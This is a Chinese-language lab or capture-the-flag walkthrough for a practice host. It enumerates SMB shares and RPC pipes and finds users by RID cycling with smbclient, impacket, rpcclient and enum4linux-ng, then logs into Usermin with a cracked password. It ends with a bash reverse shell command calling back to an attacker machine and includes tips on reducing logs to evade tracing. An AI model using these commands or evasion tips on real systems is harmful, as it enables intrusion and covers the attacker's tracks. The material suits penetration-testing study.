用smbmap来扫描139与445文件共享服务
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.13.5-Debian)
RID枚举工具
enum4linux-ng
impacket-lookupsid
impacket-smrdump
impacket-rpcmap
rpcclient
nxc中的smb
nmap脚本中的smb-enum-users
首先要确定的是,目标能否匿名绘画
使用smbclient
smbclient -L //192.168.17.135 -N #-L 以列表形式,-N不要询问凭据
smbclient -L //192.168.17.135 -N -U "" #给予空字符串,比对两条命令的返回,查看是否能够允许匿名 绘画
尝试链接IPC$能否匿名链接
smbclient //192.168.17.135/IPC$ -U "" #如果能匿名链接,说明能够用匿名的方式调用以下端点
| 管道名 | 对应服务 | 功能 |
|---|---|---|
\samr | SAM 数据库 | 用户和组管理 |
\lsarpc | LSA 服务 | 本地安全策略 |
\srvsvc | 服务器服务 | 共享和会话管理 |
\netlogon | 网络登录 | 域认证 |
\winreg | 注册表服务 | 远程注册表访问 |
使用impacket-lookupsid进行探测尝试
返回报错
[*] Brute forcing SIDs at 192.168.17.135
[*] StringBinding ncacn_np:192.168.17.135[\pipe\lsarpc]
[-] nca_s_op_rng_error
显示成功绑定但并未成功执行方法,
但这里有一个非常重要的点
用impacket-rpcmap进行对\pipe\lsarpc进行操作数枚举
impacket-rpcmap -brute-opnums -opnum-max 64 -auth-level 1'ncacn_np:192.168.17.135[\pipe\lsarpc]'
其中一部分的操作数上不可用的,这有可能会导致枚举失败或不完全,但是我们还有另一个接口[\pipe\samr]
同样的对其进行操作数枚举,[\pipe\samr]接口他的操作数更加完整,能够枚举出用户的希望也更大。
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Protocol failed: nca_s_proto_error #这个报错意味着没有设置认证 水平参数
有一些操作数没有找到,从这个端点枚举可能不能获得完整信息
其中还提到了MS-DSSP和MS-RPCE分别为域安装与配置协议和PRC(remote PRocedure Call)调用协议
使用impacket中的impacket-samrdump进行枚举
发现能看到域,看不到用户,是因为匿名查询限制了用户的返回,该工具不支持暴力枚举,需要更换工具
我们用到nxc smb进行尝试,通过-debug可以看到该工具也是用的\pipe\lsarpc管道端点
使用更底层的rpcclient
链接上后
enumdomains #查询域
lookupdomain [域名] #进一步查询域的映射信息,比如sid
lookupsids [sid]-[rid] #预留544为管理员用户
lookupnames root #查询root的sid
lookupsids [sid]-1000 #1000及以上的uid才是真实的用户
但是不通过链接而是告诉rpcclient执行的命令的话,可以让生成的日志更少,增加反溯源的难度
sudo rpcclient -U '' -N 192.168.17.135 -c "lookuosids S-1-22-1-1000" #该靶场最后查询到所需 用户的命令
或者
使用enum4linux-ng比较自动的枚举,该靶场需要使用-R 参数,是rid循环枚举,因为在这个靶场通过amrs和lsarpc的查询是无效的,得需要通过暴力枚举才行。
在真实情况下,要有混淆,并且避免大数量的去暴力枚举
这里通过lookupnames和lookupsids两条命令的交叉查询,去获取更多的用户信息
这里能得到一个叫cyber的用户
在20000的端口上的Usermin服务可以用他作为用户名与先前brainfuck加密的密码获取管理员权限
其中有服务器shell使用反弹shell去链接kali
bash -i >& /dev/tcp/192.168.17.130/443 0>&1
成功获取shell